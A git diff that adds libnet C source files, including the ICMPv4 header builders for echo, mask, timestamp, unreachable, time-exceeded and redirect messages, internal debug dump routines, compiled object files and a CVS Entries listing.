diff --git a/libnet/src/.#libnet_build_icmp.c.1.12 b/libnet/src/.#libnet_build_icmp.c.1.12 new file mode 100644 index 0000000..1590eb7 --- /dev/null +++ b/libnet/src/.#libnet_build_icmp.c.1.12 @@ -0,0 +1,558 @@ +/* + * $Id: libnet_build_icmp.c,v 1.12 2004/02/16 23:13:38 mike Exp $ + * + * libnet + * libnet_build_icmp.c - ICMP packet assemblers + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_icmpv4_echo(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_ICMPV4_ECHO_H + payload_s; /* size of memory block */ + h = LIBNET_ICMPV4_ECHO_H + payload_s; /* hl for checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_ECHO_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = htons(id); /* packet id */ + icmp_hdr.icmp_seq = htons(seq); /* packet seq */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_ECHO_H); + if (n == -1) + { + goto bad; + } + + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + if (payload && payload_s) + { + n = libnet_pblock_append(l, p, payload, payload_s); + if (n == -1) + { + goto bad; + } + } + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_ECHO_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_mask(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_ICMPV4_MASK_H + payload_s; /* size of memory block */ + h = LIBNET_ICMPV4_MASK_H + payload_s; /* hl for checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_MASK_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = htons(id); /* packet id */ + icmp_hdr.icmp_seq = htons(seq); /* packet seq */ + icmp_hdr.icmp_mask = htonl(mask); /* address mask */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_MASK_H); + if (n == -1) + { + goto bad; + } + + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + if (payload && payload_s) + { + n = libnet_pblock_append(l, p, payload, payload_s); + if (n == -1) + { + goto bad; + } + } + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_MASK_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_timestamp(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_ICMPV4_TS_H + payload_s; /* size of memory block */ + h = LIBNET_ICMPV4_TS_H + payload_s; /* hl for checksum */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TS_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = htons(id); /* packet id */ + icmp_hdr.icmp_seq = htons(seq); /* packet seq */ + icmp_hdr.icmp_otime = htonl(otime); /* original timestamp */ + icmp_hdr.icmp_rtime = htonl(rtime); /* receive timestamp */ + icmp_hdr.icmp_ttime = htonl(ttime); /* transmit timestamp */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_TS_H); + if (n == -1) + { + goto bad; + } + + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + if (payload && payload_s) + { + n = libnet_pblock_append(l, p, payload, payload_s); + if (n == -1) + { + goto bad; + } + } + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_TS_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_unreach(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, +u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, +u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_ptag_t ipv4; + libnet_pblock_t *p, *q; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + p = NULL; + /* payload refers to the payload in the original IP header */ + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + /* + * Build the original IPv4 header in its own pblock. We stick the + * payload here. + */ + ipv4 = libnet_build_ipv4(orig_len, orig_tos, orig_id, orig_frag, orig_ttl, + orig_prot, orig_check, orig_src, orig_dst, payload, payload_s, l, 0); + + if (ipv4 == -1) + { + /* error set elsewhere */ + return (-1); + } + + if (orig_check == 0) + { + int c = 0; + l->aligner = 8 - (l->link_offset % 8); + q = libnet_pblock_find(l, ipv4); + c = libnet_do_checksum(l, q->buf, libnet_pblock_p2p(q->type), + q->h_len); + if (c == -1) + { + /* err msg set in libnet_do_checksum() */ + return (-1); + } + } + + /* + * Now we can build the ICMP part of the packet + */ + n = LIBNET_ICMPV4_UNREACH_H; /* size of memory block */ + /* hl for checksum */ + h = LIBNET_ICMPV4_UNREACH_H + LIBNET_IPV4_H + payload_s; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_UNREACH_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = 0; /* must be 0 */ + icmp_hdr.icmp_seq = 0; /* must be 0 */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, + LIBNET_ICMPV4_UNREACH_H); + if (n == -1) + { + /* error set elsewhere */ + goto bad; + } + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_UNREACH_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_timeexceed(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, +u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, +u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_ptag_t ipv4; + libnet_pblock_t *p, *q; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + p = NULL; + /* payload refers to the payload in the original IP header */ + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + /* + * Build the original IPv4 header in its own pblock. We stick the + * payload here. + */ + ipv4 = libnet_build_ipv4(orig_len, orig_tos, orig_id, orig_frag, orig_ttl, + orig_prot, orig_check, orig_src, orig_dst, payload, payload_s, l, 0); + + if (ipv4 == -1) + { + /* error set elsewhere */ + return (-1); + } + + if (orig_check == 0) + { + int c = 0; + l->aligner = 8 - (l->link_offset % 8); + q = libnet_pblock_find(l, ipv4); + c = libnet_do_checksum(l, q->buf, libnet_pblock_p2p(q->type), + q->h_len); + if (c == -1) + { + /* err msg set in libnet_do_checksum() */ + return (-1); + } + } + + /* size of memory block */ + n = LIBNET_ICMPV4_TIMXCEED_H; + /* hl for checksum */ + h = LIBNET_ICMPV4_TIMXCEED_H + LIBNET_IPV4_H + payload_s; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TIMXCEED_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.icmp_id = 0; /* must be 0 */ + icmp_hdr.icmp_seq = 0; /* must be 0 */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, + LIBNET_ICMPV4_TIMXCEED_H); + if (n == -1) + { + goto bad; + } + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_TIMXCEED_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_icmpv4_redirect(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int32_t gateway, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, +u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, +u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) + +{ + u_int32_t n, h; + libnet_ptag_t ipv4; + libnet_pblock_t *p, *q; + struct libnet_icmpv4_hdr icmp_hdr; + + if (l == NULL) + { + return (-1); + } + + p = NULL; + /* payload refers to the payload in the original IP header */ + if ((payload && !payload_s) || (!payload && payload_s)) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): payload inconsistency\n", __func__); + goto bad; + } + + /* + * Build the original IPv4 header in its own pblock. We stick the + * payload here. + */ + ipv4 = libnet_build_ipv4(orig_len, orig_tos, orig_id, orig_frag, orig_ttl, + orig_prot, orig_check, orig_src, orig_dst, payload, payload_s, l, 0); + + if (ipv4 == -1) + { + /* error set elsewhere */ + return (-1); + } + + if (orig_check == 0) + { + int c = 0; + l->aligner = 8 - (l->link_offset % 8); + q = libnet_pblock_find(l, ipv4); + c = libnet_do_checksum(l, q->buf, libnet_pblock_p2p(q->type), + q->h_len); + if (c == -1) + { + /* err msg set in libnet_do_checksum() */ + return (-1); + } + } + + n = LIBNET_ICMPV4_REDIRECT_H; /* size of memory block */ + /* hl for checksum */ + h = LIBNET_ICMPV4_REDIRECT_H + LIBNET_IPV4_H + payload_s; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_REDIRECT_H); + if (p == NULL) + { + return (-1); + } + + memset(&icmp_hdr, 0, sizeof(icmp_hdr)); + icmp_hdr.icmp_type = type; /* packet type */ + icmp_hdr.icmp_code = code; /* packet code */ + icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */ + icmp_hdr.hun.gateway = gateway; + + n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, + LIBNET_ICMPV4_REDIRECT_H); + if (n == -1) + { + goto bad; + } + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_ICMPV4_REDIRECT_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/.#libnet_internal.c.1.10 b/libnet/src/.#libnet_internal.c.1.10 new file mode 100644 index 0000000..e443c63 --- /dev/null +++ b/libnet/src/.#libnet_internal.c.1.10 @@ -0,0 +1,308 @@ +/* + * $Id: libnet_internal.c,v 1.10 2004/01/28 19:45:00 mike Exp $ + * + * libnet + * libnet_internal.c - secret routines! + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + + +void +__libnet_dump_hex(u_int8_t *packet, u_int32_t len, int swap, FILE *stream) +{ + int i, s_cnt; + u_int16_t *p; + + p = (u_int16_t *)packet; + s_cnt = len / sizeof(u_int16_t); + + fprintf(stream, "\t"); + for (i = 0; --s_cnt >= 0; i++) + { + if ((!(i % 8))) + { + fprintf(stream, "\n%02x\t", (i * 2)); + } + fprintf(stream, "%04x ", swap ? ntohs(*(p++)) : *(p++)); + } + + /* + * Mop up an odd byte. + */ + if (len & 1) + { + if ((!(i % 8))) + { + fprintf(stream, "\n%02x\t", (i * 2)); + } + fprintf(stream, "%02x ", *(u_int8_t *)p); + } + fprintf(stream, "\n"); +} + + +void +__libnet_dump_context(libnet_t *l) +{ + if (l == NULL) + { + return; + } + + fprintf(stderr, "fd:\t\t%d\n", l->fd); + + switch (l->injection_type) + { + case LIBNET_LINK: + fprintf(stderr, "injection type:\tLIBNET_LINK\n"); + break; + case LIBNET_RAW4: + fprintf(stderr, "injection type:\tLIBNET_RAW4\n"); + break; + case LIBNET_RAW6: + fprintf(stderr, "injection type:\tLIBNET_RAW6\n"); + break; + case LIBNET_LINK_ADV: + fprintf(stderr, "injection type:\tLIBNET_LINK_ADV\n"); + break; + case LIBNET_RAW4_ADV: + fprintf(stderr, "injection type:\tLIBNET_RAW4_ADV\n"); + break; + case LIBNET_RAW6_ADV: + fprintf(stderr, "injection type:\tLIBNET_RAW6_ADV\n"); + break; + default: + fprintf(stderr, "injection type:\tinvalid injection type %d\n", + l->injection_type); + break; + } + + fprintf(stderr, "pblock start:\t%p\n", l->protocol_blocks); + fprintf(stderr, "pblock end:\t%p\n", l->pblock_end); + fprintf(stderr, "link type:\t%d\n", l->link_type); + fprintf(stderr, "link offset:\t%d\n", l->link_offset); + fprintf(stderr, "aligner:\t%d\n", l->aligner); + fprintf(stderr, "device:\t\t%s\n", l->device); + fprintf(stderr, "packets sent:\t%lld\n", l->stats.packets_sent); + fprintf(stderr, "packet errors:\t%lld\n", l->stats.packet_errors); + fprintf(stderr, "bytes written:\t%lld\n", l->stats.bytes_written); + fprintf(stderr, "ptag state:\t%d\n", l->ptag_state); + fprintf(stderr, "context label:\t%s\n", l->label); + fprintf(stderr, "last errbuf:\t%s\n", l->err_buf); + fprintf(stderr, "total size:\t%d\n", l->total_size); +} + +void +__libnet_dump_pblock(libnet_t *l) +{ + u_int32_t n; + libnet_pblock_t *p; + + for (p = l->protocol_blocks; p; p = p->next) + { + fprintf(stderr, "pblock type:\t%s\n", + __libnet_dump_pblock_type(p->type)); + fprintf(stderr, "ptag number:\t%d\n", p->ptag); + fprintf(stderr, "pblock address:\t%p\n", p); + fprintf(stderr, "next pblock\t%p ", p->next); + if (p->next) + { + fprintf(stderr, "(%s)", __libnet_dump_pblock_type(p->next->type)); + } + fprintf(stderr, "\n"); + fprintf(stderr, "prev pblock\t%p ", p->prev); + if (p->prev) + { + fprintf(stderr, "(%s)", __libnet_dump_pblock_type(p->prev->type)); + } + fprintf(stderr, "\n"); + fprintf(stderr, "buf:\t\t"); + for (n = 0; n < p->b_len; n++) + { + fprintf(stderr, "%02x", p->buf[n]); + } + fprintf(stderr, "\nbuffer length:\t%d\n", p->b_len); + if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM) + { + fprintf(stderr, "checksum flag:\tYes\n"); + fprintf(stderr, "chksum length:\t%d\n", p->h_len); + } + else + { + fprintf(stderr, "checksum flag:\tNo\n"); + } + fprintf(stderr, "bytes copied:\t%d\n\n", p->copied); + } +} + +int8_t * +__libnet_dump_pblock_type(u_int8_t type) +{ + static int8_t buf[50]; + switch (type) + { + case LIBNET_PBLOCK_ARP_H: + return ("arp header"); + case LIBNET_PBLOCK_DHCPV4_H: + return ("dhcpv4 header"); + case LIBNET_PBLOCK_DNSV4_H: + return ("dnsv4 header"); + case LIBNET_PBLOCK_ETH_H: + return ("ethernet header"); + case LIBNET_PBLOCK_ICMPV4_H: + return ("icmpv4 header"); + case LIBNET_PBLOCK_ICMPV4_ECHO_H: + return ("icmpv4 echo header"); + case LIBNET_PBLOCK_ICMPV4_MASK_H: + return ("icmpv4 mask header"); + case LIBNET_PBLOCK_ICMPV4_UNREACH_H: + return ("icmpv4 unreachable header"); + case LIBNET_PBLOCK_ICMPV4_TIMXCEED_H: + return ("icmpv4 time exceeded header"); + case LIBNET_PBLOCK_ICMPV4_REDIRECT_H: + return ("icmpv4 redirect header"); + case LIBNET_PBLOCK_ICMPV4_TS_H: + return ("icmpv4 timestamp header"); + case LIBNET_PBLOCK_IGMP_H: + return ("igmp header"); + case LIBNET_PBLOCK_IPV4_H: + return ("ipv4 header"); + case LIBNET_PBLOCK_IPO_H: + return ("ip options header"); + case LIBNET_PBLOCK_IPDATA: + return ("ip data"); + case LIBNET_PBLOCK_OSPF_H: + return ("ospf header"); + case LIBNET_PBLOCK_OSPF_HELLO_H: + return ("ospf hello header"); + case LIBNET_PBLOCK_OSPF_DBD_H: + return ("ospf dbd header"); + case LIBNET_PBLOCK_OSPF_LSR_H: + return ("ospf lsr header"); + case LIBNET_PBLOCK_OSPF_LSU_H: + return ("ospf lsu header"); + case LIBNET_PBLOCK_OSPF_LSA_H: + return ("ospf lsa header"); + case LIBNET_PBLOCK_OSPF_AUTH_H: + return ("ospf authentication header"); + case LIBNET_PBLOCK_OSPF_CKSUM: + return ("ospf checksum"); + case LIBNET_PBLOCK_LS_RTR_H: + return ("ospf ls rtr header"); + case LIBNET_PBLOCK_LS_NET_H: + return ("ospf ls net header"); + case LIBNET_PBLOCK_LS_SUM_H: + return ("ospf ls sum header"); + case LIBNET_PBLOCK_LS_AS_EXT_H: + return ("ospf ls as extension header"); + case LIBNET_PBLOCK_NTP_H: + return ("ntp header"); + case LIBNET_PBLOCK_RIP_H: + return ("rip header"); + case LIBNET_PBLOCK_TCP_H: + return ("tcp header"); + case LIBNET_PBLOCK_TCPO_H: + return ("tcp options header"); + case LIBNET_PBLOCK_TCPDATA: + return ("tcp data"); + case LIBNET_PBLOCK_UDP_H: + return ("udp header"); + case LIBNET_PBLOCK_VRRP_H: + return ("vrrp header"); + case LIBNET_PBLOCK_DATA_H: + return ("data"); + case LIBNET_PBLOCK_CDP_H: + return ("cdp header"); + case LIBNET_PBLOCK_IPSEC_ESP_HDR_H: + return ("ipsec esp header"); + case LIBNET_PBLOCK_IPSEC_ESP_FTR_H: + return ("ipsec esp footer"); + case LIBNET_PBLOCK_IPSEC_AH_H: + return ("ipsec authentication header"); + case LIBNET_PBLOCK_802_1Q_H: + return ("802.1q header"); + case LIBNET_PBLOCK_802_2_H: + return ("802.2 header"); + case LIBNET_PBLOCK_802_2SNAP_H: + return ("802.2SNAP header"); + case LIBNET_PBLOCK_802_3_H: + return ("802.3 header"); + case LIBNET_PBLOCK_STP_CONF_H: + return ("stp configuration header"); + case LIBNET_PBLOCK_STP_TCN_H: + return ("stp tcn header"); + case LIBNET_PBLOCK_ISL_H: + return ("isl header"); + case LIBNET_PBLOCK_IPV6_H: + return ("ipv6 header"); + case LIBNET_PBLOCK_802_1X_H: + return ("802.1x header"); + case LIBNET_PBLOCK_RPC_CALL_H: + return ("rpc call header"); + case LIBNET_PBLOCK_MPLS_H: + return ("mlps header"); + case LIBNET_PBLOCK_FDDI_H: + return ("fddi header"); + case LIBNET_PBLOCK_TOKEN_RING_H: + return ("token ring header"); + case LIBNET_PBLOCK_BGP4_HEADER_H: + return ("bgp header"); + case LIBNET_PBLOCK_BGP4_OPEN_H: + return ("bgp open header"); + case LIBNET_PBLOCK_BGP4_UPDATE_H: + return ("bgp update header"); + case LIBNET_PBLOCK_BGP4_NOTIFICATION_H: + return ("bgp notification header"); + case LIBNET_PBLOCK_GRE_H: + return ("gre header"); + case LIBNET_PBLOCK_GRE_SRE_H: + return ("gre sre header"); + case LIBNET_PBLOCK_IPV6_FRAG_H: + return ("ipv6 fragmentation header"); + case LIBNET_PBLOCK_IPV6_ROUTING_H: + return ("ipv6 routing header"); + case LIBNET_PBLOCK_IPV6_DESTOPTS_H: + return ("ipv6 destination options header"); + case LIBNET_PBLOCK_IPV6_HBHOPTS_H: + return ("ipv6 hop by hop options header"); + default: + snprintf(buf, sizeof(buf), + "%s(): unknown pblock type: %d", __func__, type); + return (buf); + } + return ("unreachable code"); +} +/* EOF */ diff --git a/libnet/src/.libs/libnet_advanced.o b/libnet/src/.libs/libnet_advanced.o Binary files differnew file mode 100644 index 0000000..6bf17ca --- /dev/null +++ b/libnet/src/.libs/libnet_advanced.o diff --git a/libnet/src/.libs/libnet_asn1.o b/libnet/src/.libs/libnet_asn1.o Binary files differnew file mode 100644 index 0000000..20f78f9 --- /dev/null +++ b/libnet/src/.libs/libnet_asn1.o diff --git a/libnet/src/.libs/libnet_build_802.1q.o b/libnet/src/.libs/libnet_build_802.1q.o Binary files differnew file mode 100644 index 0000000..8a61c1c --- /dev/null +++ b/libnet/src/.libs/libnet_build_802.1q.o diff --git a/libnet/src/.libs/libnet_build_802.1x.o b/libnet/src/.libs/libnet_build_802.1x.o Binary files differnew file mode 100644 index 0000000..133d0ac --- /dev/null +++ b/libnet/src/.libs/libnet_build_802.1x.o diff --git a/libnet/src/.libs/libnet_build_802.2.o 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b/libnet/src/.libs/libnet_write.o diff --git a/libnet/src/CVS/Entries b/libnet/src/CVS/Entries new file mode 100644 index 0000000..a2fb1e6 --- /dev/null +++ b/libnet/src/CVS/Entries @@ -0,0 +1,61 @@ +/libnet_asn1.c/1.5/Sat Jan 3 20:31:01 2004// +/libnet_build_snmp.c/1.4/Sat Jan 3 20:31:01 2004// +/libnet_crc.c/1.5/Sat Jan 3 20:31:02 2004// +/libnet_error.c/1.6/Sat Jan 3 20:31:02 2004// +/libnet_link_linux.c/1.5/Sat Jan 3 20:31:02 2004// +/libnet_link_nit.c/1.6/Sat Jan 3 20:31:02 2004// +/libnet_link_none.c/1.5/Sat Jan 3 20:31:02 2004// +/libnet_link_pf.c/1.3/Sat Jan 3 20:31:02 2004// +/libnet_link_snit.c/1.6/Sat Jan 3 20:31:02 2004// +/libnet_link_snoop.c/1.5/Sat Jan 3 20:31:02 2004// +/libnet_cq.c/1.11/Wed Jan 28 19:45:00 2004// +/libnet_dll.c/1.5/Wed Jan 28 17:35:09 2004// +/libnet_link_bpf.c/1.6/Wed Jan 28 19:45:00 2004// +/libnet_link_dlpi.c/1.8/Wed Jan 28 19:45:00 2004// +/libnet_port_list.c/1.10/Wed Jan 28 19:45:00 2004// +/libnet_prand.c/1.7/Wed Jan 28 19:45:00 2004// +/libnet_link_win32.c/1.16/Wed Feb 18 18:19:00 2004// +/libnet_raw.c/1.9/Wed Feb 18 18:19:00 2004// +/libnet_build_tcp.c/1.11/Fri Jan 30 20:19:50 2004// +/libnet_build_dhcp.c/1.10/Mon Mar 1 20:26:12 2004// +/libnet_init.c/1.17/Tue Mar 16 18:40:59 2004// +/libnet_internal.c/1.14/Tue Mar 16 18:40:59 2004// +/libnet_build_802.1q.c/1.11/Tue Apr 13 17:32:28 2004// +/libnet_build_802.1x.c/1.12/Tue Apr 13 17:32:28 2004// +/libnet_build_802.2.c/1.11/Tue Apr 13 17:32:28 2004// +/libnet_build_802.3.c/1.10/Tue Apr 13 17:32:28 2004// +/libnet_build_arp.c/1.13/Tue Apr 13 17:32:28 2004// +/libnet_build_bgp.c/1.8/Tue Apr 13 17:32:28 2004// +/libnet_build_cdp.c/1.10/Tue Apr 13 17:32:28 2004// +/libnet_build_data.c/1.7/Tue Apr 13 17:32:28 2004// 